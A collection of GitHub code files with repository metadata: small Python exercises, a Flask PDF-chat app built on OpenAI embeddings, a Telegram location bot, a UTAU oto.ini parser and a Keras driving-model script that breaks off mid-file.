+{"seq_id":"16306345770","text":"\"\"\"\nFaça uma função que receba uma matriz de 3x3 elementos.\nCalcule e retorne a soma dos elementos que estão na diagonal secundária.\n\"\"\"\n\n\ndef matriz(linha=3, coluna=3, retornar=True):\n    from random import randint\n    matriz = [[randint(1, 30) for num in range(coluna)] for linha in range(linha)]\n    for x, linha in enumerate(matriz, -1):\n        for y, num in enumerate(linha, -1):\n            if x == y * - 1:\n                print(f'\\033[32m{num:>4}\\033[m', end=' ')\n            else:\n                print(f'{num:>4}', end=' ')\n        print()\n    if retornar:\n        return f'\\n\\033[32m>\\033[m A soma dos números na diagonal secundária é = \\033[32m'\\\n               f'{sum([num for x, linha in enumerate(matriz, -1) for y, num in enumerate(linha, -1) if x == y * - 1])}'\\\n               f'\\033[m'\n    else:\n        return ''\n\n\nprint(matriz())\n","repo_name":"douglasfreek/cursoPython3","sub_path":"seção 8/exercícios/51.py","file_name":"51.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6667583494","text":"import os\nimport io\nimport time\nimport openai\nimport datetime\nimport ast\n\nfrom flask import Flask, request, session, render_template, redirect, url_for, jsonify, send_file\nfrom langchain.document_loaders import PyPDFLoader\n\n## Local modules import\nimport lib.cont_proc as cproc\nimport lib.params as prm\nfrom lib.chatbot import Chatbot\nfrom lib.db_handler import DatabaseHandler\nfrom lib.ai_tools import get_tokens\n\n# Serve to prod\nimport webbrowser\nfrom waitress import serve\nfrom threading import Timer\n\n##########################################################################################\n\n# Set up paths\ntemplate_folder=os.path.join(os.path.dirname(os.path.abspath(__file__)), \"templates\")\nstatic_folder=os.path.join(os.path.dirname(os.path.abspath(__file__)),\"static\")\n\n\n# Initiate Flask app\napp = Flask(\n    __name__, \n    template_folder=template_folder,\n    static_folder=static_folder\n    )\n\napp.secret_key = os.urandom(24)\n\n###########################################################################################\n\n# Render home page\n@app.route('/')\ndef home():\n    return render_template(\n        'home.html'\n        )\n\n@app.route('/collection_manager', methods=['GET', 'POST'])\ndef collection_manager():\n    # TODO: fetch collections from database and pass them so they can be displayed\n    return render_template(\n            'collection_manager.html'\n            )\n\n# create /process_collection route\n@app.route('/process_collection', methods=['POST'])\ndef process_collection():\n    \"\"\"Process collection\n    Process the collection of documents.\n    \"\"\"\n    print(\"!Processing collection\")\n\n    # Get the data from the form\n    collection_name = request.form['collection_name']\n    embed_method = request.form['embed_method']\n    collection_name = cproc.process_name(collection_name)\n\n    # Process the collection\n    file_ = request.files['pdf']\n    file_name = cproc.process_name(file_.filename)\n    # collection_source = file_name\n\n    # Save the file to the upload folder\n    saved_fname = collection_name + '_' + file_name\n    fpath = os.path.join(prm.UPLOAD_FOLDER, saved_fname)\n    file_.save(fpath)\n    print(f\"!File saved to: {fpath}\")\n\n    # Load the pdf & process the text\n    loader = PyPDFLoader(fpath) # langchain simple pdf loader\n    pages = loader.load_and_split() # split by pages\n\n    # Process text data further so it fits the context mechanism\n    pages_df = cproc.pages_to_dataframe(pages)\n    pages_refined_df = cproc.split_pages(pages_df, method=embed_method)\n    pages_processed_df = cproc.prepare_for_embed(pages_refined_df, collection_name, embed_method)\n\n    # Add UUIDs to the dataframe!\n    pages_processed_df['uuid'] = cproc.create_uuid()\n    pages_processed_df['doc_uuid'] = [cproc.create_uuid() for x in range(pages_processed_df.shape[0])]\n\n\n    if embed_method == 'openai':\n        # Get the embedding cost\n        embedding_cost = round(cproc.embed_cost(pages_processed_df),4)\n        # express embedding cost in dollars\n        embedding_cost = f\"${embedding_cost}\"\n        # doc_length = pages_processed_df.shape[0]\n        # length_warning = doc_length / 600 > 1\n        print(f\"Embedding cost as per Open AI pricing .0004$ = {embedding_cost}\")\n\n    pages_embed_df = cproc.embed_pages(pages_processed_df, method=embed_method)\n\n    with db as db_conn:\n        db_conn.insert_context(pages_embed_df.drop(columns=['embedding']))\n        # rename from doc_uuid to uuid needed to fit table structure\n        db_conn.insert_embeddings(pages_embed_df[['doc_uuid', 'embedding']].rename(columns={'doc_uuid':'uuid'}))\n        \n    return render_template(\n            'collection_manager.html'\n            )\n\n# Session_manager allows users to create new sessions or continue\n# ones already created.\n@app.route('/session_manager', methods=['GET', 'POST'])\ndef session_manager():\n    \"\"\"Session manager\n    Manage sessions.\n    \"\"\"\n    \n    # Load session names from the database\n    with db as db_conn:\n        # We want to see available sessions\n        if db_conn.load_session_names() is not None:\n            print('!Sessions found in database. Fetching sessions details')\n            session_names = [x[0] for x in db_conn.load_session_names()]\n            session_ids = [x[1] for x in db_conn.load_session_names()]\n\n            # extract from session dates only the date YYYY-MM-DD\n            # session_dates = [x.split()[0] for x in session_dates]\n\n            sessions = list(zip(session_names, session_ids))\n        else:\n            print('!No sessions found in database')\n            sessions = []\n        \n        # We want to see available collections\n        collections = db_conn.load_collections_all()\n\n    return render_template(\n            'session_manager.html',\n            sessions=sessions,\n            collections=collections\n            )\n\n#Create /process_session\n@app.route('/process_session', methods=['POST'])\ndef process_session():\n    \"\"\"Process session\n    Set the API key, session name, connect sources for new session.\n    \"\"\"\n\n    session['UUID'] = cproc.create_uuid()\n    session['SESSION_DATE'] = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\n    ## Get the data from the form\n\n    #determine if use clicked session_create or session_start\n    session_action = request.form.get('session_action', 0)\n\n    # Determine if we deal with new or existing session\n    # And handle session variables accordingly\n\n    if session_action == 'Start':\n        name_grabbed = request.form.getlist('existing_session_name')\n        sesion_id = [ast.literal_eval(x)[1] for x in name_grabbed][0]\n        name = [ast.literal_eval(x)[0] for x in name_grabbed][0]\n        print('!Starting existing session: ', name)\n        session['SESSION_NAME'] = name\n        session['UUID'] = sesion_id\n\n        return redirect(\n            url_for('index'))\n\n\n    elif session_action == 'Create':\n        session_name = request.form.get('new_session_name', 0)\n        session['SESSION_NAME'] = cproc.process_name(session_name)\n        print('!Creating new session: ', session['SESSION_NAME'])\n\n        # grab collections from the form\n        collections = request.form.getlist('collections')\n\n        collection_ids = [ast.literal_eval(x)[0] for x in collections]\n        for collection_uuid in collection_ids:\n            with db as db_conn:\n                db_conn.insert_session(\n                    session['UUID'],\n                    collection_uuid,\n                    session['SESSION_NAME'],\n                    session['SESSION_DATE']\n                )\n\n        return redirect(\n            url_for('index'))\n\n\n@app.route('/interaction')\ndef index():\n    \"\"\"render interaction main page\n    \"\"\"\n\n    # Load chat history\n    with db as db_conn:\n        print('!Loading chat history for initial page load')\n        chat_history = db_conn.load_context(\n            session['UUID'], \n            table_name='chat_history'\n            )\n\n    # If chat history is empty it means this is the first interaction\n    # we need to insert the baseline exchange   \n    if chat_history.empty:    \n        #insert baseline interaction\n        with db as db_conn:\n            print('!Inserting baseline interaction')\n            db_conn.insert_interaction(\n                session['UUID'],\n                'user',\n                prm.SUMMARY_CTXT_USR\n            )\n            db_conn.insert_interaction(\n                session['UUID'],\n                'assistant',\n                prm.SUMMARY_TXT_ASST\n            )\n    else:\n        # Remove seed interactions from the chat history\n        chat_history = chat_history[chat_history['timestamp'] != 0]\n\n    # Convert the DataFrame to a JSON object so we can pass it to the template\n    chat_history_json = chat_history.to_dict(orient='records')\n\n    return render_template(\n        'index.html',\n        session_name=session['SESSION_NAME'],\n        session_date=session['SESSION_DATE'],\n        session_uuid=session['UUID'],\n        chat_history=chat_history_json\n        )\n\n\n@app.route('/ask', methods=['POST'])\ndef ask():\n    \"\"\"handle POST request from the form and return the response\n    \"\"\"\n\n    data = request.get_json()\n    question = data['question']\n\n\n    # Handle chat memory and context    \n    with db as db_conn:\n        print('!Loading chat history for interaction')\n        # Form recall tables\n        collections = db_conn.load_collections(session['UUID'])\n        recall_table_context = db_conn.load_context(collections)\n        recall_table_chat = db_conn.load_context(session['UUID'], table_name='chat_history')\n\n        # fetch embeddings from embeddings table for given doc uuids\n        recall_table_context = db_conn.load_embeddings(recall_table_context)\n        recall_table_chat = db_conn.load_embeddings(recall_table_chat)\n    \n    # Prepare recall tables for user and assistant\n    recall_table_source = recall_table_context\n    recall_table_user, recall_table_assistant = cproc.prepare_chat_recall(recall_table_chat)\n\n    recal_embed_source = cproc.convert_table_to_dct(recall_table_source)\n    recal_embed_user = cproc.convert_table_to_dct(recall_table_user)\n    recal_embed_assistant = cproc.convert_table_to_dct(recall_table_assistant)\n\n\n    ## Get the context from recall table that is the most similar to user input\n    num_samples = prm.NUM_SAMPLES\n    if recall_table_source.shape[0] < prm.NUM_SAMPLES:\n        # This should happen for short documents otherwise this suggests a bug (usually with session name)\n        num_samples = recall_table_source.shape[0]\n        print(\"\"\"\n            !WARNING! Source material is shorter than number of samples you want to get. \n            Setting number of samples to the number of source material sections.\n            \"\"\")\n\n\n    # Get the closest index - This will update index attributes of chatbot object\n    # that are used later to retrieve text and page numbers\n\n    chatbot.retrieve_closest_idx(\n        question,\n        num_samples,\n        recal_embed_source,\n        recal_embed_user,\n        recal_embed_assistant\n    )\n\n    recal_source, recal_user, recal_agent = chatbot.retrieve_text(\n        recall_table_context,\n        recall_table_chat,\n    )\n\n    # Look for agent and user messages in the interaction table that have the latest timestamp\n    # We will put them in the context too.\n    last_usr_max = recall_table_user['timestamp'].astype(int).max()\n    last_asst_max = recall_table_assistant['timestamp'].astype(int).max()\n    if last_usr_max == 0:\n        latest_user = 'No context found'\n    else:\n        latest_user = recall_table_user[recall_table_user['timestamp']==last_usr_max]['text'].values[0]\n\n    if last_asst_max == 0:\n        latest_assistant = 'No context found'\n    else:\n        latest_assistant = recall_table_assistant[recall_table_assistant['timestamp']==last_asst_max]['text'].values[0]\n\n    print('!Done handling chat memory and context.')\n    \n    ## Grab the page number from the recall table\n    ## It will become handy when user wants to know from which chapter the context was taken\n    recall_source_pages = recall_table_context.loc[chatbot.recall_source_idx][['name','page','text_token_no','text']]\n    print(f'I will base on the following context:')\n    print(recall_source_pages)\n    print('\\n')\n\n\n    # Build prompt\n    message = chatbot.build_prompt(\n        latest_user,\n        latest_assistant,\n        recal_source,\n        recal_user,\n        recal_agent,\n        question\n        )\n    print(\"!Prompt built\")\n\n\n    # Grab call user content from messages alias\n    usr_message_content = message[0]['content']\n\n    # Count number of tokens in user message and display it to the user\n    # TODO: flash it on the front-end\n    \n    #TODO: bug with message passed to encoder!\n    \n    text_passed = '; '.join([x['content'] for x in message])\n    token_passed = len(get_tokens(text_passed))\n    context_capacity = prm.PROD_MODEL[1] - token_passed\n    print(f'# Tokens passed to the model: {token_passed}')\n    print(f'# Tokens left in the context: {context_capacity}')\n\n\n    # generate response\n    response = chatbot.chat_completion_response(message)\n\n    # Format the response so it can be displayed in the front-end\n    # formatted_cont = response['choices'][0]['message']['content'].replace('\\n', '<br>')\n    response['choices'][0]['message']['content'] = cproc.format_response(response)\n    print(\"!Response generated\")\n\n\n    # save it all to DB so the agent can remember the conversation\n    session['SPOT_TIME'] = str(int(time.time()))\n    with db as db_conn:\n        print('!Inserting interaction into DB')\n        # Insert user message into DB so we can use it for another user's input\n        db_conn.insert_interaction(\n            session['UUID'],\n            'user',\n            question,\n            timestamp=session['SPOT_TIME']\n        )\n        db_conn.insert_interaction(\n            session['UUID'],\n            'assistant',\n            response['choices'][0]['message']['content'],\n            timestamp=response['created']\n        )\n\n    return jsonify({'response': response})\n\n\n@app.route('/export_interactions', methods=['GET'])\ndef export_interactions():\n    \"\"\"Export the interaction table as a JSON file for download.\n    \"\"\"\n\n    # Connect to the database\n    with db as db_conn:\n        print('!Loading chat history for export')\n        # Retrieve the interaction table\n        recall_df = db_conn.load_context(session['UUID'], table_name='chat_history')\n\n    # remove records that are user or assistant interaction type and have \n    # time signature 0 - these were injected into the table as a seed to \n    # improve performance of the model at the beginning of the conversation\n    seed_f = (\n        (recall_df['interaction_type'].isin(['user','assistant'])) & (recall_df['timestamp'] == 0)\n        )\n    recall_df = recall_df[~seed_f]\n\n    # Convert the DataFrame to a JSON string\n    interactions_json = recall_df.to_json(orient='records', indent=2)\n\n    # Create a file-like buffer to hold the JSON string\n    json_buffer = io.BytesIO()\n    json_buffer.write(interactions_json.encode('utf-8'))\n    json_buffer.seek(0)\n\n    # Send the JSON file to the user for download\n    return send_file(\n        json_buffer, \n        as_attachment=True, \n        download_name=f\"interactions_{session['SESSION_NAME']}.json\", \n        mimetype='application/json')\n\n\ndef open_browser():\n    \"\"\"Open default browser to display the app in PROD mode\n    \"\"\"\n    webbrowser.open_new('http://127.0.0.1:5000/')\n\n\n\nif __name__ == '__main__':\n\n    ## Load key from api_key.txt\n    with open('./api_key.txt') as f:\n        key_ = f.read()\n        openai.api_key = key_\n\n\n    # Intitiate database if not exist\n    db_exist = os.path.exists(prm.DB_PATH)\n    print(f'!Database exists: {db_exist}')\n    if not db_exist:\n        # Initialize the database\n        db = DatabaseHandler(prm.DB_PATH)\n        with db as db_conn:\n            db_conn.write_db(prm.SESSION_TABLE_SQL)\n            db_conn.write_db(prm.COLLECTIONS_TABLE_SQL)\n            db_conn.write_db(prm.CHAT_HIST_TABLE_SQL)\n            db_conn.write_db(prm.EMBEDDINGS_TABLE_SQL)\n    else:\n        # Initialize the database\n        db = DatabaseHandler(prm.DB_PATH)\n\n    # Spin up chatbot instance\n    chatbot = Chatbot()\n    print(\"!Chatbot initialized\")\n\n\n    # Run DEV server\n    # app.run(debug=True, host='0.0.0.0', port=5000)\n\n    # # run PROD server\n    Timer(1, open_browser).start()\n    serve(app, host='0.0.0.0', port=5000)","repo_name":"rpast/ALP","sub_path":"alp.py","file_name":"alp.py","file_ext":"py","file_size_in_byte":15443,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"13863884949","text":"from misc import bot, db_service\nfrom Models.Locations import LocationCreateModel, LocationUpdateModel\nimport constants\n\n\n@bot.message_handler(content_types=['location', 'text'])\ndef location_handler(message):\n    if message.location is not None:\n        bot.send_message(message.chat.id, \"Hold tight, I'm recording your location\")\n        new_location = LocationCreateModel(\n            chat_link=constants.telegram_base_link + str(message.chat.username),\n            lat=message.location.latitude,\n            long=message.location.longitude\n        )\n        responce = db_service.add_new_location(new_location)\n        if responce.is_succesful:\n            start_second_step(message)\n        else:\n            bot.send_message(message.chat.id, \"Sorry, something went wrong. Please try again.\")\n    else:\n        bot.send_message(message.chat.id,\n                         \"Sorry I don't see a geolocation, it's okay if you don't want to share it tho.\")\n\n\ndef start_second_step(message):\n    bot.send_message(message.chat.id, \"Leave a comment about this place. Type 'no' if you don't want to.\")\n    bot.register_next_step_handler_by_chat_id(message.chat.id, comment_handler)\n\n\ndef comment_handler(message):\n    if message.text.lower() == 'no':\n        restart_process(message)\n        return\n\n    bot.send_message(message.chat.id, \"Please wait a while, I'm recording your comment.\")\n    is_recorded = db_service.add_comment_for_last_location(LocationUpdateModel(\n        chat_link=constants.telegram_base_link+message.chat.username,\n        comment=str(message.text)\n    ))\n    if is_recorded:\n        restart_process(message)\n    else:\n        bot.send_message(message.chat.id, \"Sorry, can't record your comment, please try again.\")\n\n\ndef restart_process(message):\n    bot.send_message(message.chat.id, \"Thanks for your contribution! You can send another location to record.\")\n    bot.register_next_step_handler_by_chat_id(message.chat.id, location_handler)\n","repo_name":"DizzyProtos/TelegramLocationRecorder","sub_path":"Handlers/message_handlers.py","file_name":"message_handlers.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"70618102593","text":"\"\"\"\nBalanced Parentheses: Given an expression string, write a python program \nto find whether a given string has balanced parentheses or not.\n\"\"\"\n\nopen_par = [\"[\",\"{\",\"(\"] \nclosed_par = [\"]\",\"}\",\")\"] \n\ndef check(str): \n    stack = [] \n    for i in str: \n        if i in open_par: \n            stack.append(i) \n        elif i in closed_par: \n            #the index function finds the index where the element first occurs\n            pos = closed_par.index(i) \n            if ((len(stack) > 0) and\n                #matching brackets are stored in the same positions in both lists\n                (open_par[pos] == stack[len(stack)-1])): \n                stack.pop() \n            else: \n                return \"Unbalanced\"\n    if len(stack) == 0: \n        return \"Balanced\"\n  \n# Tests\nstring = \"{[]{()}}\"\nprint(string,\"-\", check(string)) \n  \nstring = \"[{}{})(]\"\nprint(string,\"-\", check(string)) ","repo_name":"marydeka/coding_practice","sub_path":"interview_prep/Stacks/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26903253682","text":"\"\"\"\nData loading\n\"\"\"\n\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\nfrom torch.utils.data import Dataset\n\n\ndef load_raw_data(csv_file):\n    \"\"\"\n    Load raw data from csv file.\n\n    Parameters\n    ----------\n    data_file : ``str``\n        filepath to data file (csv)\n\n    Returns\n    -------\n    data : ``np.Array`` of shape ``(n_data, 2)``\n        2D array where column 0 is input ``x`` and column 1 is binary output ``y``\n    \"\"\"\n    csv_df = pd.read_csv(csv_file)\n    return csv_df.values.astype(np.float32)\n\n\ndef train_val_test_split(data,\n                         val_size=0.1,\n                         test_size=0.1,\n                         random_state=None,\n                         **kwargs):\n    \"\"\"\n    Split data into train, validation, and test splits\n\n    Parameters\n    ----------\n    data : ``np.Array``\n        Data of shape (n_data, 2), first column is ``x``, second column is ``y``\n    val_size : ``float``, optional (default: 0.1)\n        % to reserve for validation\n    test_size : ``float``, optional (default: 0.1)\n        % to reserve for test\n    random_state : ``np.random.RandomState``, optional (default: None)\n        If specified, random state for reproducibility\n    kwargs :\n        Additional keyword args to pass to ``Data`` wrapper\n    \"\"\"\n    idx = np.arange(data.shape[0])\n    idx_train, idx_valtest = train_test_split(idx,\n                                              test_size=val_size + test_size,\n                                              random_state=random_state,\n                                              shuffle=True)\n    idx_val, idx_test = train_test_split(idx_valtest,\n                                         test_size=test_size /\n                                         (val_size + test_size),\n                                         random_state=random_state,\n                                         shuffle=True)\n    return {\n        'train': Data(data[idx_train], **kwargs),\n        'val': Data(data[idx_val], **kwargs),\n        'test': Data(data[idx_test], **kwargs)\n    }\n\n\nclass Data(Dataset):\n    \"\"\"\n    Wrapper around dataset so that DataLoader can easily ingest it.\n    \"\"\"\n\n    def __init__(self, data):\n        \"\"\"\n        Initialize a Data object.\n\n        Parameters\n        ----------\n        data : ``np.Array``\n            Data of shape (n_data, 2), first column is ``x``, second column is ``y``\n        \"\"\"\n        self.data = data\n\n    def __getitem__(self, i):\n        \"\"\"\n        Get the ith item of this object.\n\n        Parameters\n        -------\n        i : ``int``\n            Index to retrieve; must be within the bounds of the data\n\n        Returns\n        -------\n        x : ``float``\n            The input\n        y : ``float``\n            The binary output (1.0 or 0.0)\n        \"\"\"\n        return tuple(self.data[i])\n\n    def __len__(self):\n        \"\"\"\n        Return the length of a Data object.\n\n        Returns\n        -------\n        length : ``int``\n            Number of datapints datapoints in this Data object\n        \"\"\"\n        return self.data.shape[0]\n","repo_name":"jayelm/pytorch-project-template","sub_path":"code/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"9442482514","text":"# CCC 2011\n# Problem J2: Who has Seen the Wind\n\nh = int(input())\nM = int(input())\nfallen=0\nfor t in range(1,M):\n    A = -6*t**4 + h*t**3 + 2*t**2 +t\n    if A <=0:\n        fallen+=1\n        break\nif fallen>0:\n    print(\"The ballon first touches ground at hour:\\n\",t)\nelse:\n    print(\"The ballon does not touch ground in the given time.\")","repo_name":"cybermax-008/50daysOfCoding---CyberNinja","sub_path":"Python/Day8_Jan30_2021/J2_2011.py","file_name":"J2_2011.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"44135606196","text":"#! /usr/bin/env python3\r\n# coding: utf-8\r\n\"\"\"\r\nsetParam用のINIファイルとデータを扱うモジュールです。\r\n\"\"\"\r\nimport re\r\nfrom collections import UserList\r\n\r\n# TODO: setParam用のコメントファイルを扱えるようにする。\r\n\r\ndef main():\r\n    \"\"\"\r\n    直接実行されたときの挙動\r\n    \"\"\"\r\n    print('耳ロボPとsetParamに卍感謝卍')\r\n\r\n\r\ndef load(path, mode='r', encoding='cp932'):\r\n    \"\"\"\r\n    otoiniを読み取ってオブジェクト生成\r\n    \"\"\"\r\n    # otoiniファイルを読み取る\r\n    path = path.strip('\"')\r\n    with open(path, mode=mode, encoding=encoding) as f:\r\n        lines = [line.strip() for line in f.readlines()]\r\n\r\n    # Otoクラスオブジェクトのリストを作る\r\n    otoini = OtoIni()\r\n    for line in lines:\r\n        params = re.split('[=,]', line.strip())\r\n        params = params[:2] + [float(v) for v in params[2:]]\r\n        oto = Oto()\r\n        (oto.filename, oto.alias, oto.offset, oto.consonant,\r\n         oto.cutoff, oto.preutterance, oto.overlap) = params\r\n        otoini.append(oto)\r\n    return otoini\r\n\r\n\r\nclass OtoIni(UserList):\r\n    \"\"\"\r\n    oto.iniを想定したクラス\r\n    \"\"\"\r\n\r\n    def replace_aliases(self, before, after):\r\n        \"\"\"\r\n        エイリアスを置換する\r\n        \"\"\"\r\n        for oto in self:\r\n            oto.alias = oto.alias.replace(before, after)\r\n        return self\r\n\r\n    def is_mono(self):\r\n        \"\"\"\r\n        モノフォン形式のエイリアスになっているか判定する。\r\n        すべてのエイリアスに空白がなければモノフォンと判断する。\r\n        返り値はbool。\r\n        \"\"\"\r\n        return all((' ' not in oto.alias) for oto in self)\r\n\r\n    def monophonize(self):\r\n        \"\"\"\r\n        音素ごとに分割する。\r\n        otoini→label 変換の用途を想定\r\n        音素の発声開始位置: 左ブランク=先行発声\r\n        \"\"\"\r\n        # 新規OtoIniを作るために、otoを入れるリスト\r\n        mono_otoini = OtoIni()\r\n        for oto in self:\r\n            phonemes = oto.alias.split()\r\n            if len(phonemes) == 1:\r\n                mono_otoini.append(oto)\r\n            elif len(phonemes) in [2, 3]:\r\n                name_wav = oto.filename\r\n                # 1文字目(オーバーラップから先行発声まで)------------\r\n                mono_oto = Oto()\r\n                mono_oto.filename = name_wav\r\n                mono_oto.alias = phonemes[0]\r\n                mono_oto.offset = oto.offset + oto.overlap  # オーバーラップの位置に左ブランクを移動\r\n                mono_oto.preutterance = 0\r\n                mono_otoini.append(mono_oto)\r\n                # 2文字目(先行発声から固定範囲まで)----------------\r\n                mono_oto = Oto()\r\n                mono_oto.filename = name_wav\r\n                mono_oto.alias = phonemes[1]\r\n                mono_oto.offset = oto.offset + oto.preutterance  # 先行発声の位置に左ブランクを移動\r\n                mono_oto.preutterance = 0\r\n                mono_otoini.append(mono_oto)\r\n                if len(phonemes) == 3:\r\n                    # 3文字目(固定範囲から右ブランクまで)----------------\r\n                    mono_oto = Oto()\r\n                    mono_oto.filename = name_wav\r\n                    mono_oto.alias = phonemes[2]\r\n                    mono_oto.offset = oto.offset + oto.consonant  # 固定範囲の位置に左ブランクを移動\r\n                    mono_oto.preutterance = 0\r\n                    mono_otoini.append(mono_oto)\r\n            else:\r\n                print('\\n[ERROR in otoini.monophonize()]----------------')\r\n                print('  1エイリアスの音素数は 1, 2, 3 以外対応していません。')\r\n                print('  phonemes: {}'.format(phonemes))\r\n                print('  文字を連結して処理を続行します。')\r\n                print('-----------------------------------------------\\n')\r\n                mono_otoini.append(oto)\r\n        return mono_otoini\r\n\r\n    def write(self, path, mode='w', encoding='cp932'):\r\n        \"\"\"\r\n        ファイル出力\r\n        \"\"\"\r\n        s = '\\n'.join([str(oto) for oto in self]) + '\\n'\r\n        with open(path, mode=mode, encoding=encoding) as f:\r\n            f.write(s)\r\n        return s\r\n\r\n\r\nclass Oto:\r\n    \"\"\"\r\n    oto.ini中の1モーラ\r\n    \"\"\"\r\n\r\n    def __init__(self):\r\n        self.filename: str = ''\r\n        self.alias: str = ''\r\n        self.offset = 0\r\n        self.consonant = 0\r\n        self.cutoff = 0\r\n        self.preutterance = 0\r\n        self.overlap = 0\r\n        self.comment = None\r\n\r\n    def __str__(self):\r\n        s = '{}={},{},{},{},{},{}'.format(\r\n            self.filename,\r\n            self.alias,\r\n            round(float(self.offset), 4),\r\n            round(float(self.consonant), 4),\r\n            round(float(self.cutoff), 4),\r\n            round(float(self.preutterance), 4),\r\n            round(float(self.overlap), 4)\r\n        )\r\n        return s\r\n\r\n    @property\r\n    def cutoff2(self):\r\n        \"\"\"\r\n        右ブランクを絶対時刻で取得する\r\n        \"\"\"\r\n        cutoff = self.cutoff\r\n        if cutoff > 0:\r\n            raise ValueError(f'Cutoff(右ブランク) must be negative : {str(self)}')\r\n        return self.offset - cutoff\r\n\r\n    @cutoff2.setter\r\n    def cutoff2(self, absolute_cutoff_time):\r\n        \"\"\"\r\n        右ブランクを絶対時刻で受け取り、負の値で上書きする\r\n        \"\"\"\r\n        if absolute_cutoff_time < 0:\r\n            raise ValueError(\r\n                f'Argument \"absolute_cutoff_time\" must be positive : {absolute_cutoff_time}')\r\n        self.cutoff = self.offset - absolute_cutoff_time\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n\r\nif __name__ == '__init__':\r\n    pass\r\n","repo_name":"oatsu-gh/utaupy","sub_path":"utaupy/otoini.py","file_name":"otoini.py","file_ext":"py","file_size_in_byte":5817,"program_lang":"python","lang":"ja","doc_type":"code","stars":26,"dataset":"github-code","pt":"60"}
+{"seq_id":"963667143","text":"class Solution:\n  def firstMissingPositive(self, nums: List[int]) -> int:\n    n = len(nums)\n    \n    # replace all nums >n or <=0 with n+1 (or any special character)\n    for i in range(len(nums)):\n      if nums[i] > n or nums[i] <= 0:\n        nums[i] = n+1\n        \n    # mark each index as negative (if positive) ignoring if nums == n+1\n    for i in range(len(nums)):\n      j = abs(nums[i])-1\n      if j < n:\n        if nums[j] > 0:\n          nums[j] *= -1\n       \n    # return index of the first positive (indicates this index is not present in the arry)\n    for i in range(len(nums)):\n      if nums[i] > 0:\n        return i+1\n      \n    # otherwise, all numbers are present\n    return n+1\n","repo_name":"mattjp/leetcode","sub_path":"practice/hard/0041-First_Missing_Positive.py","file_name":"0041-First_Missing_Positive.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39611324945","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import Sequential\nfrom keras.optimizers import Adam\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers import Lambda, Conv2D, MaxPooling2D, Dropout, Dense, Flatten, MaxPool2D,Activation\nimport sklearn\nimport cv2\nimport argparse\nimport os\nimport matplotlib.pyplot as plt\nimport keras\nimport tensorflow as tf\n\n\ndef load_data(args):\n    \"\"\"\n    Load training data and split it into training and validation set\n    \"\"\"\n    data_df = pd.read_csv(os.path.join(args.data_dir, 'driving_log.csv'))\n\n    X = data_df[['center', 'left', 'right']].values\n    y = data_df['steering'].values\n\n    X_train, X_valid, y_train, y_valid = train_test_split(X, y, test_size=args.test_size, random_state=0)\n\n    return X_train, X_valid, y_train, y_valid\n\ndef load_image(data_dir, image_file):\n    \"\"\"\n    Load RGB images from a file, convert to grayscale and crop the image (removing the sky at the top and the car front at the bottom)\n    \"\"\"\n    path = data_dir+ '/' + 'IMG' + '/' + image_file.split('/')[-1]\n    image = cv2.imread(path)\n    image = image[50:-20, :, :]\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    return cv2.resize(image, (320, 90), cv2.INTER_AREA)\n\ndef generator(data_dir, image_paths, steering_angles, correction, batch_size=32):\n    '''\n    generate train data batch and validation data batch\n    '''\n    num_samples = len(steering_angles)\n    while 1: # Loop forever so the generator never terminates\n        sklearn.utils.shuffle(image_paths, steering_angles)\n        for offset in range(0, num_samples, batch_size):\n            image_paths_batch = image_paths[offset:offset+batch_size]\n            steering_angles_batch = steering_angles[offset:offset+batch_size]\n\n            images = []\n            angles = []\n\n            for image_path, angle in zip(image_paths_batch,steering_angles_batch):\n                img_center = load_image(data_dir, image_path[0])\n                img_left = load_image(data_dir, image_path[1])\n                img_right = load_image(data_dir, image_path[2])\n                images.extend((img_center,img_left,img_right))\n                steering_center = float(angle)\n                # create adjusted steering measurements for the side camera images\n                steering_left = steering_center + correction\n                steering_right = steering_center - correction\n                angles.extend((steering_center, steering_left, steering_right))\n\n                img_center_flipped = np.fliplr(img_center)\n                img_left_flipped = np.fliplr(img_left)\n                img_right_flipped = np.fliplr(img_right)\n\n                images.extend((img_center_flipped,img_left_flipped,img_right_flipped))\n\n                steering_center_flipped = -steering_center\n                steering_left_flipped = -steering_left\n                steering_right_flipped = -steering_right\n                angles.extend((steering_center_flipped, steering_left_flipped, steering_right_flipped))\n\n            # trim image to only see section with road\n            X_train = np.array(images).reshape((-1,90,320,1))\n            y_train = np.array(angles)\n            yield sklearn.utils.shuffle(X_train, y_train)\n\ndef build_model(args):\n\n    config = tf.ConfigProto(device_count={\"CPU\": 6})\n    keras.backend.tensorflow_backend.set_session(tf.Session(config=config))\n    model = Sequential()\n    ## Modified NVIDIA model\n    # model.add(Lambda(lambda x: x/127.5-1.0, input_shape=(90,320,1)))\n    # model.add(Conv2D(24, (5, 5), activation='elu', subsample=(2, 2)))\n    # model.add(Conv2D(36, (5, 5), activation='elu', subsample=(2, 2)))\n    # model.add(Conv2D(48, (5, 5), activation='elu', subsample=(2, 2)))\n    # model.add(Conv2D(64, (3, 3), activation='elu'))\n    # model.add(Conv2D(64, (3, 3), activation='elu'))\n    # model.add(Dropout(args.keep_prob))\n    # model.add(Flatten())\n    # model.add(Dense(100, activation='elu'))\n    # model.add(Dense(50, activation='elu'))\n    # model.add(Dense(10, 